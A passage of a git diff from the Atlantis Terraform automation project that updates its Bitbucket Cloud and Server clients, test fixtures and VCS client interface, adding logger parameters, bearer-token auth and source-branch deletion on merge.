" + }, + "user": { + "display_name": "bb bot", + "links": { + "self": { + "href": "https://api.bitbucket.org/2.0/users/%7B600000000-0000-0000-0000-000000000000%7D" + }, + "avatar": { + "href": "https://secure.gravatar.com/avatar/d5c4bac76953df92f47d1dea43fcdba0?d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FKB-4.png" + }, + "html": { + "href": "https://bitbucket.org/%7B600000000-0000-0000-0000-000000000000%7D/" + } + }, + "type": "user", + "uuid": "{600000000-0000-0000-0000-000000000000}", + "account_id": "00000000-0000-0000-0000-000000000000", + "nickname": "bb bot" + }, + "deleted": false, + "pending": false, + "type": "pullrequest_comment", + "links": { + "self": { + "href": "https://api.bitbucket.org/2.0/repositories/myworkspace/myrepo/pullrequests/5/comments/498931901" + }, + "html": { + "href": "https://bitbucket.org/myworkspace/myrepo/pull-requests/5/_/diff#comment-498931901" + } + }, + "pullrequest": { + "type": "pullrequest", + "id": 5, + "title": "for test", + "links": { + "self": { + "href": "https://api.bitbucket.org/2.0/repositories/myworkspace/myrepo/pullrequests/5" + }, + "html": { + "href": "https://bitbucket.org/myworkspace/myrepo/pull-requests/5" + } + } + } + } + ], + "pagelen": 10, + "size": 4, + "page": 1 +} diff --git a/server/events/vcs/bitbucketcloud/testdata/pull-approved-by-author.json b/server/events/vcs/bitbucketcloud/testdata/pull-approved-by-author.json index c782d07212..7930cbb0bc 100644 --- a/server/events/vcs/bitbucketcloud/testdata/pull-approved-by-author.json +++ b/server/events/vcs/bitbucketcloud/testdata/pull-approved-by-author.json @@ -82,7 +82,7 @@ "uuid": "{94189367-116b-436a-9f77-2314b97a6067}" }, "branch": { - "name": "master" + "name": "main" } }, "created_on": "2019-02-12T16:48:04.251028+00:00", @@ -136,7 +136,6 @@ "type": "participant", "approved": true, "user": { - "username": "lkysow", "display_name": "Luke", "uuid": "{bf34a99b-8a11-452c-8fbc-bdffc340e584}", "links": { @@ -161,7 +160,6 @@ "type": "participant", "approved": false, "user": { - "username": "atlantis-bot", "display_name": "Atlantisbot", "uuid": "{73686412-4495-426f-89a7-c69ff1c8d7b8}", "links": { @@ -184,7 +182,6 @@ "reason": "", "updated_on": "2019-06-03T13:55:54.081581+00:00", "author": { - "username": "lkysow", "display_name": "Luke", "uuid": "{bf34a99b-8a11-452c-8fbc-bdffc340e584}", "links": { diff --git a/server/events/vcs/bitbucketcloud/testdata/pull-approved-multiple.json b/server/events/vcs/bitbucketcloud/testdata/pull-approved-multiple.json index 5194b5426d..5adbea01cf 100644 --- a/server/events/vcs/bitbucketcloud/testdata/pull-approved-multiple.json +++ b/server/events/vcs/bitbucketcloud/testdata/pull-approved-multiple.json @@ -82,7 +82,7 @@ "uuid": "{94189367-116b-436a-9f77-2314b97a6067}" }, "branch": { - "name": "master" + "name": "main" } }, "created_on": "2019-02-12T16:48:04.251028+00:00", @@ -136,7 +136,6 @@ "type": "participant", "approved": false, "user": { - "username": "lkysow", "display_name": "Luke", "uuid": "{bf34a99b-8a11-452c-8fbc-bdffc340e584}", "links": { @@ -161,7 +160,6 @@ "type": "participant", "approved": true, "user": { - "username": "atlantis-bot", "display_name": "Atlantisbot", "uuid": "{73686412-4495-426f-89a7-c69ff1c8d7b8}", "links": { @@ -186,7 +184,6 @@ "type": "participant", "approved": true, "user": { - "username": "atlantis-bot2", "display_name": "Atlantisbot2", "uuid": "{73686412-4495-426f-89a7-c69ff1c8d7b2}", "links": { @@ -209,7 +206,6 @@ "reason": "", "updated_on": "2019-06-03T13:55:17.639190+00:00", "author": { - "username": "lkysow", "display_name": "Luke", "uuid": "{bf34a99b-8a11-452c-8fbc-bdffc340e584}", "links": { diff --git a/server/events/vcs/bitbucketcloud/testdata/pull-approved.json b/server/events/vcs/bitbucketcloud/testdata/pull-approved.json index b2bcecd040..281103dfd8 100644 --- a/server/events/vcs/bitbucketcloud/testdata/pull-approved.json +++ b/server/events/vcs/bitbucketcloud/testdata/pull-approved.json @@ -82,7 +82,7 @@ "uuid": "{94189367-116b-436a-9f77-2314b97a6067}" }, "branch": { - "name": "master" + "name": "main" } }, "created_on": "2019-02-12T16:48:04.251028+00:00", @@ -136,7 +136,6 @@ "type": "participant", "approved": false, "user": { - "username": "lkysow", "display_name": "Luke", "uuid": "{bf34a99b-8a11-452c-8fbc-bdffc340e584}", "links": { @@ -161,7 +160,6 @@ "type": "participant", "approved": true, "user": { - "username": "atlantis-bot", "display_name": "Atlantisbot", "uuid": "{73686412-4495-426f-89a7-c69ff1c8d7b8}", "links": { @@ -184,7 +182,6 @@ "reason": "", "updated_on": "2019-06-03T13:55:17.639190+00:00", "author": { - "username": "lkysow", "display_name": "Luke", "uuid": "{bf34a99b-8a11-452c-8fbc-bdffc340e584}", "links": { diff --git a/server/events/vcs/bitbucketcloud/testdata/pull-unapproved.json b/server/events/vcs/bitbucketcloud/testdata/pull-unapproved.json index c3b8c604e7..3439b7cde4 100644 --- a/server/events/vcs/bitbucketcloud/testdata/pull-unapproved.json +++ b/server/events/vcs/bitbucketcloud/testdata/pull-unapproved.json @@ -82,7 +82,7 @@ "uuid": "{94189367-116b-436a-9f77-2314b97a6067}" }, "branch": { - "name": "master" + "name": "main" } }, "created_on": "2019-02-12T16:48:04.251028+00:00", @@ -136,7 +136,6 @@ "type": "participant", "approved": false, "user": { - "username": "lkysow", "display_name": "Luke", "uuid": "{bf34a99b-8a11-452c-8fbc-bdffc340e584}", "links": { @@ -161,7 +160,6 @@ "type": "participant", "approved": false, "user": { - "username": "atlantis-bot", "display_name": "Atlantisbot", "uuid": "{73686412-4495-426f-89a7-c69ff1c8d7b8}", "links": { @@ -184,7 +182,6 @@ "reason": "", "updated_on": "2019-06-03T13:54:09.266101+00:00", "author": { - "username": "lkysow", "display_name": "Luke", "uuid": "{bf34a99b-8a11-452c-8fbc-bdffc340e584}", "links": { diff --git a/server/events/vcs/bitbucketcloud/testdata/user.json b/server/events/vcs/bitbucketcloud/testdata/user.json new file mode 100644 index 0000000000..336f27832a --- /dev/null +++ b/server/events/vcs/bitbucketcloud/testdata/user.json @@ -0,0 +1,33 @@ +{ + "display_name": "bb bot", + "links": { + "self": { + "href": "https://api.bitbucket.org/2.0/users/%7B00000000-0000-0000-0000-000000000001%7D" + }, + "avatar": { + "href": "https://avatar-management--avatars.us-west-2.prod.public.atl-paas.net/initials/RR-3.png" + }, + "repositories": { + "href": "https://api.bitbucket.org/2.0/repositories/%7B00000000-0000-0000-0000-000000000001%7D" + }, + "snippets": { + "href": "https://api.bitbucket.org/2.0/snippets/%7B00000000-0000-0000-0000-000000000001%7D" + }, + "html": { + "href": "https://bitbucket.org/%7B00000000-0000-0000-0000-000000000001%7D/" + }, + "hooks": { + "href": "https://api.bitbucket.org/2.0/workspaces/%7B00000000-0000-0000-0000-000000000001%7D/hooks" + } + }, + "created_on": "2024-02-01T12:08:46.355300+00:00", + "type": "user", + "uuid": "{00000000-0000-0000-0000-000000000001}", + "has_2fa_enabled": null, + "username": "bb-bot", + "is_staff": false, + "account_id": "000000:00000000-0000-0000-0000-000000000001", + "nickname": "bb bot", + "account_status": "active", + "location": null +} diff --git a/server/events/vcs/bitbucketserver/client.go b/server/events/vcs/bitbucketserver/client.go index adb6eba0d8..61d2db7069 100644 --- a/server/events/vcs/bitbucketserver/client.go +++ b/server/events/vcs/bitbucketserver/client.go @@ -5,17 +5,17 @@ import ( "encoding/json" "fmt" "io" - "io/ioutil" "net/http" "net/url" "regexp" "strings" "github.com/runatlantis/atlantis/server/events/vcs/common" + "github.com/runatlantis/atlantis/server/logging" + validator "github.com/go-playground/validator/v10" "github.com/pkg/errors" "github.com/runatlantis/atlantis/server/events/models" - validator "gopkg.in/go-playground/validator.v9" ) // maxCommentLength is the maximum number of chars allowed by Bitbucket in a @@ -30,6 +30,11 @@ type Client struct { AtlantisURL string } +type DeleteSourceBranch struct { + Name string `json:"name"` + DryRun bool `json:"dryRun"` +} + // NewClient builds a bitbucket cloud client. Returns an error if the baseURL is // malformed. httpClient is the client to use to make the requests, username // and password are used as basic auth in the requests, baseURL is the API's @@ -60,7 +65,7 @@ func NewClient(httpClient *http.Client, username string, password string, baseUR // GetModifiedFiles returns the names of files that were modified in the merge request // relative to the repo root, e.g. parent/child/file.txt. -func (b *Client) GetModifiedFiles(repo models.Repo, pull models.PullRequest) ([]string, error) { +func (b *Client) GetModifiedFiles(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) ([]string, error) { var files []string projectKey, err := b.GetProjectKey(repo.Name, repo.SanitizedCloneURL) @@ -129,10 +134,10 @@ func (b *Client) GetProjectKey(repoName string, cloneURL string) (string, error) // CreateComment creates a comment on the merge request. It will write multiple // comments if a single comment is too long. -func (b *Client) CreateComment(repo models.Repo, pullNum int, comment string, command string) error { +func (b *Client) CreateComment(logger logging.SimpleLogging, repo models.Repo, pullNum int, comment string, _ string) error { sepEnd := "\n```\n**Warning**: Output length greater than max comment size. Continued in next comment." sepStart := "Continued from previous comment.\n```diff\n" - comments := common.SplitComment(comment, maxCommentLength, sepEnd, sepStart) + comments := common.SplitComment(comment, maxCommentLength, sepEnd, sepStart, 0, "") for _, c := range comments { if err := b.postComment(repo, pullNum, c); err != nil { return err @@ -141,7 +146,11 @@ func (b *Client) CreateComment(repo models.Repo, pullNum int, comment string, co return nil } -func (b *Client) HidePrevPlanComments(repo models.Repo, pullNum int) error { +func (b *Client) ReactToComment(_ logging.SimpleLogging, _ models.Repo, _ int, _ int64, _ string) error { + return nil +} + +func (b *Client) HidePrevCommandComments(_ logging.SimpleLogging, _ models.Repo, _ int, _ string, _ string) error { return nil } @@ -161,33 +170,40 @@ func (b *Client) postComment(repo models.Repo, pullNum int, comment string) erro } // PullIsApproved returns true if the merge request was approved. -func (b *Client) PullIsApproved(repo models.Repo, pull models.PullRequest) (bool, error) { +func (b *Client) PullIsApproved(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) (approvalStatus models.ApprovalStatus, err error) { projectKey, err := b.GetProjectKey(repo.Name, repo.SanitizedCloneURL) if err != nil { - return false, err + return approvalStatus, err } path := fmt.Sprintf("%s/rest/api/1.0/projects/%s/repos/%s/pull-requests/%d", b.BaseURL, projectKey, repo.Name, pull.Num) resp, err := b.makeRequest("GET", path, nil) if err != nil { - return false, err + return approvalStatus, err } var pullResp PullRequest if err := json.Unmarshal(resp, &pullResp); err != nil { - return false, errors.Wrapf(err, "Could not parse response %q", string(resp)) + return approvalStatus, errors.Wrapf(err, "Could not parse response %q", string(resp)) } if err := validator.New().Struct(pullResp); err != nil { - return false, errors.Wrapf(err, "API response %q was missing fields", string(resp)) + return approvalStatus, errors.Wrapf(err, "API response %q was missing fields", string(resp)) } for _, reviewer := range pullResp.Reviewers { if *reviewer.Approved { - return true, nil + return models.ApprovalStatus{ + IsApproved: true, + }, nil } } - return false, nil + return approvalStatus, nil +} + +func (b *Client) DiscardReviews(_ logging.SimpleLogging, _ models.Repo, _ models.PullRequest) error { + // TODO implement + return nil } // PullIsMergeable returns true if the merge request has no conflicts and can be merged. -func (b *Client) PullIsMergeable(repo models.Repo, pull models.PullRequest) (bool, error) { +func (b *Client) PullIsMergeable(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, _ string, _ []string) (bool, error) { projectKey, err := b.GetProjectKey(repo.Name, repo.SanitizedCloneURL) if err != nil { return false, err @@ -211,7 +227,7 @@ func (b *Client) PullIsMergeable(repo models.Repo, pull models.PullRequest) (boo } // UpdateStatus updates the status of a commit. -func (b *Client) UpdateStatus(repo models.Repo, pull models.PullRequest, status models.CommitStatus, src string, description string, url string) error { +func (b *Client) UpdateStatus(logger logging.SimpleLogging, _ models.Repo, pull models.PullRequest, status models.CommitStatus, src string, description string, url string) error { bbState := "FAILED" switch status { case models.PendingCommitStatus: @@ -222,6 +238,8 @@ func (b *Client) UpdateStatus(repo models.Repo, pull models.PullRequest, status bbState = "FAILED" } + logger.Info("Updating BitBucket commit status for '%s' to '%s'", src, bbState) + // URL is a required field for bitbucket statuses. We default to the // Atlantis server's URL. if url == "" { @@ -244,7 +262,7 @@ func (b *Client) UpdateStatus(repo models.Repo, pull models.PullRequest, status } // MergePull merges the pull request. -func (b *Client) MergePull(pull models.PullRequest) error { +func (b *Client) MergePull(logger logging.SimpleLogging, pull models.PullRequest, pullOptions models.PullRequestOptions) error { projectKey, err := b.GetProjectKey(pull.BaseRepo.Name, pull.BaseRepo.SanitizedCloneURL) if err != nil { return err @@ -265,6 +283,21 @@ func (b *Client) MergePull(pull models.PullRequest) error { } path = fmt.Sprintf("%s/rest/api/1.0/projects/%s/repos/%s/pull-requests/%d/merge?version=%d", b.BaseURL, projectKey, pull.BaseRepo.Name, pull.Num, *pullResp.Version) _, err = b.makeRequest("POST", path, nil) + if err != nil { + return err + } + if pullOptions.DeleteSourceBranchOnMerge { + bodyBytes, err := json.Marshal(DeleteSourceBranch{Name: "refs/heads/" + pull.HeadBranch, DryRun: false}) + if err != nil { + return errors.Wrap(err, "json encoding") + } + + path = fmt.Sprintf("%s/rest/branch-utils/1.0/projects/%s/repos/%s/branches", b.BaseURL, projectKey, pull.BaseRepo.Name) + _, err = b.makeRequest("DELETE", path, bytes.NewBuffer(bodyBytes)) + if err != nil { + return err + } + } return err } @@ -279,7 +312,11 @@ func (b *Client) prepRequest(method string, path string, body io.Reader) (*http. if err != nil { return nil, err } - req.SetBasicAuth(b.Username, b.Password) + + // Personal access tokens can be sent as basic auth or bearer + bearer := "Bearer " + b.Password + req.Header.Add("Authorization", bearer) + if body != nil { req.Header.Add("Content-Type", "application/json") } @@ -302,23 +339,36 @@ func (b *Client) makeRequest(method string, path string, reqBody io.Reader) ([]b requestStr := fmt.Sprintf("%s %s", method, path) if resp.StatusCode != http.StatusOK && resp.StatusCode != http.StatusCreated && resp.StatusCode != 204 { - respBody, _ := ioutil.ReadAll(resp.Body) + respBody, _ := io.ReadAll(resp.Body) return nil, fmt.Errorf("making request %q unexpected status code: %d, body: %s", requestStr, resp.StatusCode, string(respBody)) } - respBody, err := ioutil.ReadAll(resp.Body) + respBody, err := io.ReadAll(resp.Body) if err != nil { return nil, errors.Wrapf(err, "reading response from request %q", requestStr) } return respBody, nil } -func (b *Client) SupportsSingleFileDownload(repo models.Repo) bool { +// GetTeamNamesForUser returns the names of the teams or groups that the user belongs to (in the organization the repository belongs to). +func (b *Client) GetTeamNamesForUser(_ logging.SimpleLogging, _ models.Repo, _ models.User) ([]string, error) { + return nil, nil +} + +func (b *Client) SupportsSingleFileDownload(_ models.Repo) bool { return false } -// DownloadRepoConfigFile return `atlantis.yaml` content from VCS (which support fetch a single file from repository) -// The first return value indicate that repo contain atlantis.yaml or not -// if BaseRepo had one repo config file, its content will placed on the second return value -func (b *Client) DownloadRepoConfigFile(pull models.PullRequest) (bool, []byte, error) { +// GetFileContent a repository file content from VCS (which support fetch a single file from repository) +// The first return value indicates whether the repo contains a file or not +// if BaseRepo had a file, its content will placed on the second return value +func (b *Client) GetFileContent(_ logging.SimpleLogging, _ models.PullRequest, _ string) (bool, []byte, error) { return false, []byte{}, fmt.Errorf("not implemented") } + +func (b *Client) GetCloneURL(_ logging.SimpleLogging, _ models.VCSHostType, _ string) (string, error) { + return "", fmt.Errorf("not yet implemented") +} + +func (b *Client) GetPullLabels(_ logging.SimpleLogging, _ models.Repo, _ models.PullRequest) ([]string, error) { + return nil, fmt.Errorf("not yet implemented") +} diff --git a/server/events/vcs/bitbucketserver/client_test.go b/server/events/vcs/bitbucketserver/client_test.go index 6ff44f83af..4827b76ed1 100644 --- a/server/events/vcs/bitbucketserver/client_test.go +++ b/server/events/vcs/bitbucketserver/client_test.go @@ -1,16 +1,19 @@ package bitbucketserver_test import ( + "encoding/json" "fmt" - "io/ioutil" + "io" "net/http" "net/http/httptest" + "os" "path/filepath" "strings" "testing" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/events/vcs/bitbucketserver" + "github.com/runatlantis/atlantis/server/logging" . "github.com/runatlantis/atlantis/testing" ) @@ -70,6 +73,7 @@ func TestClient_BasePath(t *testing.T) { // Should follow pagination properly. func TestClient_GetModifiedFilesPagination(t *testing.T) { + logger := logging.NewNoopLogger(t) respTemplate := ` { "values": [ @@ -118,18 +122,20 @@ func TestClient_GetModifiedFilesPagination(t *testing.T) { client, err := bitbucketserver.NewClient(http.DefaultClient, "user", "pass", serverURL, "runatlantis.io") Ok(t, err) - files, err := client.GetModifiedFiles(models.Repo{ - FullName: "owner/repo", - Owner: "owner", - Name: "repo", - SanitizedCloneURL: fmt.Sprintf("%s/scm/ow/repo.git", serverURL), - VCSHost: models.VCSHost{ - Type: models.BitbucketCloud, - Hostname: "bitbucket.org", - }, - }, models.PullRequest{ - Num: 1, - }) + files, err := client.GetModifiedFiles( + logger, + models.Repo{ + FullName: "owner/repo", + Owner: "owner", + Name: "repo", + SanitizedCloneURL: fmt.Sprintf("%s/scm/ow/repo.git", serverURL), + VCSHost: models.VCSHost{ + Type: models.BitbucketCloud, + Hostname: "bitbucket.org", + }, + }, models.PullRequest{ + Num: 1, + }) Ok(t, err) Equals(t, []string{"file1.txt", "file2.txt", "file3.txt"}, files) } @@ -137,7 +143,8 @@ func TestClient_GetModifiedFilesPagination(t *testing.T) { // Test that we use the correct version parameter in our call to merge the pull // request. func TestClient_MergePull(t *testing.T) { - pullRequest, err := ioutil.ReadFile(filepath.Join("testdata", "pull-request.json")) + logger := logging.NewNoopLogger(t) + pullRequest, err := os.ReadFile(filepath.Join("testdata", "pull-request.json")) Ok(t, err) testServer := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { switch r.RequestURI { @@ -159,25 +166,93 @@ func TestClient_MergePull(t *testing.T) { client, err := bitbucketserver.NewClient(http.DefaultClient, "user", "pass", testServer.URL, "runatlantis.io") Ok(t, err) - err = client.MergePull(models.PullRequest{ - Num: 1, - HeadCommit: "", - URL: "", - HeadBranch: "", - BaseBranch: "", - Author: "", - State: 0, - BaseRepo: models.Repo{ - FullName: "owner/repo", - Owner: "owner", - Name: "repo", - SanitizedCloneURL: fmt.Sprintf("%s/scm/ow/repo.git", testServer.URL), - VCSHost: models.VCSHost{ - Type: models.BitbucketCloud, - Hostname: "bitbucket.org", + err = client.MergePull( + logger, + models.PullRequest{ + Num: 1, + HeadCommit: "", + URL: "", + HeadBranch: "", + BaseBranch: "", + Author: "", + State: 0, + BaseRepo: models.Repo{ + FullName: "owner/repo", + Owner: "owner", + Name: "repo", + SanitizedCloneURL: fmt.Sprintf("%s/scm/ow/repo.git", testServer.URL), + VCSHost: models.VCSHost{ + Type: models.BitbucketCloud, + Hostname: "bitbucket.org", + }, }, + }, models.PullRequestOptions{ + DeleteSourceBranchOnMerge: false, + }) + Ok(t, err) +} + +// Test that we delete the source branch in our call to merge the pull +// request. +func TestClient_MergePullDeleteSourceBranch(t *testing.T) { + logger := logging.NewNoopLogger(t) + pullRequest, err := os.ReadFile(filepath.Join("testdata", "pull-request.json")) + Ok(t, err) + testServer := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + switch r.RequestURI { + // The first request should hit this URL. + case "/rest/api/1.0/projects/ow/repos/repo/pull-requests/1": + w.Write(pullRequest) // nolint: errcheck + return + case "/rest/api/1.0/projects/ow/repos/repo/pull-requests/1/merge?version=3": + Equals(t, "POST", r.Method) + w.Write(pullRequest) // nolint: errcheck + case "/rest/branch-utils/1.0/projects/ow/repos/repo/branches": + Equals(t, "DELETE", r.Method) + defer r.Body.Close() + b, err := io.ReadAll(r.Body) + Ok(t, err) + var payload bitbucketserver.DeleteSourceBranch + err = json.Unmarshal(b, &payload) + Ok(t, err) + Equals(t, "refs/heads/foo", payload.Name) + w.WriteHeader(http.StatusNoContent) // nolint: errcheck + default: + t.Errorf("got unexpected request at %q", r.RequestURI) + http.Error(w, "not found", http.StatusNotFound) + return + } + })) + defer testServer.Close() + + client, err := bitbucketserver.NewClient(http.DefaultClient, "user", "pass", testServer.URL, "runatlantis.io") + Ok(t, err) + + err = client.MergePull( + logger, + models.PullRequest{ + Num: 1, + HeadCommit: "", + URL: "", + HeadBranch: "foo", + BaseBranch: "", + Author: "", + State: 0, + BaseRepo: models.Repo{ + FullName: "owner/repo", + Owner: "owner", + Name: "repo", + SanitizedCloneURL: fmt.Sprintf("%s/scm/ow/repo.git", testServer.URL), + VCSHost: models.VCSHost{ + Type: models.BitbucketServer, + Hostname: "bitbucket.org", + }, + }, + }, + models.PullRequestOptions{ + DeleteSourceBranchOnMerge: true, }, - }) + ) Ok(t, err) } diff --git a/server/events/vcs/bitbucketserver/models.go b/server/events/vcs/bitbucketserver/models.go index f9c34d4fc9..5646ca4256 100644 --- a/server/events/vcs/bitbucketserver/models.go +++ b/server/events/vcs/bitbucketserver/models.go @@ -3,6 +3,7 @@ package bitbucketserver const ( DiagnosticsPingHeader = "diagnostics:ping" PullCreatedHeader = "pr:opened" + PullFromRefUpdatedHeader = "pr:from_ref_updated" PullMergedHeader = "pr:merged" PullDeclinedHeader = "pr:declined" PullDeletedHeader = "pr:deleted" diff --git a/server/events/vcs/bitbucketserver/request_validation_test.go b/server/events/vcs/bitbucketserver/request_validation_test.go index 9b9d5228a4..4e418c3d0a 100644 --- a/server/events/vcs/bitbucketserver/request_validation_test.go +++ b/server/events/vcs/bitbucketserver/request_validation_test.go @@ -16,7 +16,7 @@ func TestValidateSignature(t *testing.T) { } func TestValidateSignature_Invalid(t *testing.T) { - body := `"eventKey":"pr:comment:added","date":"2018-07-24T15:10:05+0200","actor":{"name":"lkysow","emailAddress":"lkysow@gmail.com","id":1,"displayName":"Luke Kysow","active":true,"slug":"lkysow","type":"NORMAL"},"pullRequest":{"id":5,"version":0,"title":"another.tf edited online with Bitbucket","state":"OPEN","open":true,"closed":false,"createdDate":1532365427513,"updatedDate":1532365427513,"fromRef":{"id":"refs/heads/lkysow/anothertf-1532365422773","displayId":"lkysow/anothertf-1532365422773","latestCommit":"b52b8e254e956654dcdb394d0ccba9199f420427","repository":{"slug":"atlantis-example","id":1,"name":"atlantis-example","scmId":"git","state":"AVAILABLE","statusMessage":"Available","forkable":true,"project":{"key":"AT","id":1,"name":"atlantis","public":false,"type":"NORMAL"},"public":false}},"toRef":{"id":"refs/heads/master","displayId":"master","latestCommit":"0a338874369017deba7c22e99e6000932724282f","repository":{"slug":"atlantis-example","id":1,"name":"atlantis-example","scmId":"git","state":"AVAILABLE","statusMessage":"Available","forkable":true,"project":{"key":"AT","id":1,"name":"atlantis","public":false,"type":"NORMAL"},"public":false}},"locked":false,"author":{"user":{"name":"lkysow","emailAddress":"lkysow@gmail.com","id":1,"displayName":"Luke Kysow","active":true,"slug":"lkysow","type":"NORMAL"},"role":"AUTHOR","approved":false,"status":"UNAPPROVED"},"reviewers":[],"participants":[]},"comment":{"properties":{"repositoryId":1},"id":65,"version":0,"text":"comment","author":{"name":"lkysow","emailAddress":"lkysow@gmail.com","id":1,"displayName":"Luke Kysow","active":true,"slug":"lkysow","type":"NORMAL"},"createdDate":1532437805137,"updatedDate":1532437805137,"comments":[],"tasks":[]}}` + body := `"eventKey":"pr:comment:added","date":"2018-07-24T15:10:05+0200","actor":{"name":"lkysow","emailAddress":"lkysow@gmail.com","id":1,"displayName":"Luke Kysow","active":true,"slug":"lkysow","type":"NORMAL"},"pullRequest":{"id":5,"version":0,"title":"another.tf edited online with Bitbucket","state":"OPEN","open":true,"closed":false,"createdDate":1532365427513,"updatedDate":1532365427513,"fromRef":{"id":"refs/heads/lkysow/anothertf-1532365422773","displayId":"lkysow/anothertf-1532365422773","latestCommit":"b52b8e254e956654dcdb394d0ccba9199f420427","repository":{"slug":"atlantis-example","id":1,"name":"atlantis-example","scmId":"git","state":"AVAILABLE","statusMessage":"Available","forkable":true,"project":{"key":"AT","id":1,"name":"atlantis","public":false,"type":"NORMAL"},"public":false}},"toRef":{"id":"refs/heads/main","displayId":"main","latestCommit":"0a338874369017deba7c22e99e6000932724282f","repository":{"slug":"atlantis-example","id":1,"name":"atlantis-example","scmId":"git","state":"AVAILABLE","statusMessage":"Available","forkable":true,"project":{"key":"AT","id":1,"name":"atlantis","public":false,"type":"NORMAL"},"public":false}},"locked":false,"author":{"user":{"name":"lkysow","emailAddress":"lkysow@gmail.com","id":1,"displayName":"Luke Kysow","active":true,"slug":"lkysow","type":"NORMAL"},"role":"AUTHOR","approved":false,"status":"UNAPPROVED"},"reviewers":[],"participants":[]},"comment":{"properties":{"repositoryId":1},"id":65,"version":0,"text":"comment","author":{"name":"lkysow","emailAddress":"lkysow@gmail.com","id":1,"displayName":"Luke Kysow","active":true,"slug":"lkysow","type":"NORMAL"},"createdDate":1532437805137,"updatedDate":1532437805137,"comments":[],"tasks":[]}}` secret := "mysecret" sig := `sha256=ed11f92d1565a4de586727fe8260558277d58009e8957a79eb4749a7009ce083` err := bitbucketserver.ValidateSignature([]byte(body), sig, []byte(secret)) diff --git a/server/events/vcs/bitbucketserver/testdata/pull-request.json b/server/events/vcs/bitbucketserver/testdata/pull-request.json index 2f816b7eec..ee83effcf9 100644 --- a/server/events/vcs/bitbucketserver/testdata/pull-request.json +++ b/server/events/vcs/bitbucketserver/testdata/pull-request.json @@ -55,8 +55,8 @@ } }, "toRef": { - "id": "refs/heads/master", - "displayId": "master", + "id": "refs/heads/main", + "displayId": "main", "latestCommit": "59e03b9cc44e16e20741e328faaac26e377c07bf", "repository": { "slug": "example", diff --git a/server/events/vcs/client.go b/server/events/vcs/client.go index dad6fa1901..58feb26fdb 100644 --- a/server/events/vcs/client.go +++ b/server/events/vcs/client.go @@ -15,19 +15,22 @@ package vcs import ( "github.com/runatlantis/atlantis/server/events/models" + "github.com/runatlantis/atlantis/server/logging" ) -//go:generate pegomock generate -m --use-experimental-model-gen --package mocks -o mocks/mock_client.go Client +//go:generate pegomock generate --package mocks -o mocks/mock_client.go github.com/runatlantis/atlantis/server/events/vcs Client // Client is used to make API calls to a VCS host like GitHub or GitLab. type Client interface { // GetModifiedFiles returns the names of files that were modified in the merge request // relative to the repo root, e.g. parent/child/file.txt. - GetModifiedFiles(repo models.Repo, pull models.PullRequest) ([]string, error) - CreateComment(repo models.Repo, pullNum int, comment string, command string) error - HidePrevPlanComments(repo models.Repo, pullNum int) error - PullIsApproved(repo models.Repo, pull models.PullRequest) (bool, error) - PullIsMergeable(repo models.Repo, pull models.PullRequest) (bool, error) + GetModifiedFiles(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) ([]string, error) + CreateComment(logger logging.SimpleLogging, repo models.Repo, pullNum int, comment string, command string) error + + ReactToComment(logger logging.SimpleLogging, repo models.Repo, pullNum int, commentID int64, reaction string) error + HidePrevCommandComments(logger logging.SimpleLogging, repo models.Repo, pullNum int, command string, dir string) error + PullIsApproved(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) (models.ApprovalStatus, error) + PullIsMergeable(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, vcsstatusname string, ignoreVCSStatusNames []string) (bool, error) // UpdateStatus updates the commit status to state for pull. src is the // source of this status. This should be relatively static across runs, // ex. atlantis/plan or atlantis/apply. @@ -35,13 +38,19 @@ type Client interface { // change across runs. // url is an optional link that users should click on for more information // about this status. - UpdateStatus(repo models.Repo, pull models.PullRequest, state models.CommitStatus, src string, description string, url string) error - MergePull(pull models.PullRequest) error + UpdateStatus(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, state models.CommitStatus, src string, description string, url string) error + DiscardReviews(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) error + MergePull(logger logging.SimpleLogging, pull models.PullRequest, pullOptions models.PullRequestOptions) error MarkdownPullLink(pull models.PullRequest) (string, error) + GetTeamNamesForUser(logger logging.SimpleLogging, repo models.Repo, user models.User) ([]string, error) - // DownloadRepoConfigFile return `atlantis.yaml` content from VCS (which support fetch a single file from repository) - // The first return value indicate that repo contain atlantis.yaml or not - // if BaseRepo had one repo config file, its content will placed on the second return value - DownloadRepoConfigFile(pull models.PullRequest) (bool, []byte, error) + // GetFileContent a repository file content from VCS (which support fetch a single file from repository) + // The first return value indicates whether the repo contains a file or not + // if BaseRepo had a file, its content will placed on the second return value + GetFileContent(logger logging.SimpleLogging, pull models.PullRequest, fileName string) (bool, []byte, error) SupportsSingleFileDownload(repo models.Repo) bool + GetCloneURL(logger logging.SimpleLogging, VCSHostType models.VCSHostType, repo string) (string, error) + + // GetPullLabels returns the labels of a pull request + GetPullLabels(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) ([]string, error) } diff --git a/server/events/vcs/common/common.go b/server/events/vcs/common/common.go index 7a41b1d835..b7c1028ac1 100644 --- a/server/events/vcs/common/common.go +++ b/server/events/vcs/common/common.go @@ -3,41 +3,54 @@ package common import ( + "fmt" "math" ) -// AutomergeCommitMsg is the commit message Atlantis will use when automatically -// merging pull requests. -const AutomergeCommitMsg = "[Atlantis] Automatically merging after successful apply" +// AutomergeCommitMsg returns the commit message to use when automerging. +func AutomergeCommitMsg(pullNum int) string { + return fmt.Sprintf("[Atlantis] Automatically merging after successful apply: PR #%d", pullNum) +} -// SplitComment splits comment into a slice of comments that are under maxSize. -// It appends sepEnd to all comments that have a following comment. -// It prepends sepStart to all comments that have a preceding comment. -func SplitComment(comment string, maxSize int, sepEnd string, sepStart string) []string { +/* +SplitComment splits comment into a slice of comments that are under maxSize. +- It appends sepEnd to all comments that have a following comment. +- It prepends sepStart to all comments that have a preceding comment. +- If maxCommentsPerCommand is non-zero, it never returns more than maxCommentsPerCommand +comments, and it truncates the beginning of the comment to preserve the end of the comment string, +which usually contains more important information, such as warnings, errors, and the plan summary. +- SplitComment appends the truncationHeader to the first comment if it would have produced more 